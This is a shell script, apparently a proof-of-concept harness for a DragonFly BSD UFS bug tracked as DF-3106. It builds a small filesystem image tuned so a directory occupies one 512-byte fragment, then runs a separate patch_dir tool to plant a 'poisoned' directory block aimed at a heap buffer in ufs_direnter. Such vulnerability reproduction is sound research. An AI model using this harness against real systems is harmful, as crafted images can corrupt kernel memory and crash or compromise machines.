#!/bin/sh
# DF-3106 craft_image.sh — build a UFS/FFS image with a poisoned compaction
# region in a directory's single 512-byte fragment.
#
# Must run as root on the DragonFly guest (vnconfig/newfs/mount).
# Usage: ./craft_image.sh <A|B>
set -e
cd /root/df3106
V="${1:-A}"
IMG=df3106_$V.img
MNT=/mnt/df3106

rm -f "$IMG"
dd if=/dev/zero of="$IMG" bs=1m count=8 2>&1 | tail -1

VN=$(vnconfig -c vn "$IMG" 2>&1 | awk '{print $1}' | head -1)
[ -n "$VN" ] || { echo "vnconfig failed"; exit 2; }
DEV="/dev/$VN"
echo "vn device: $VN"

# 4KB block / 512B frag so the directory's single block is a 512-byte
# fragment => the bp in ufs_direnter is a 512-byte heap buffer.
echo "=== newfs -b 4096 -f 512 ==="
newfs -b 4096 -f 512 "$DEV" 2>&1 | tail -4

mkdir -p "$MNT"
mount -t ufs "$DEV" "$MNT"
mkdir "$MNT/d"
chmod 777 "$MNT" "$MNT/d"
D_INO=$(stat -f '%i' "$MNT/d")
echo "dir inode: $D_INO"
umount "$MNT"
vnconfig -u "$DEV" 2>/dev/null || true

echo "=== patching dirblock (variant $V) ==="
./patch_dir "$IMG" "$D_INO" "$V"
ls -l "$IMG"
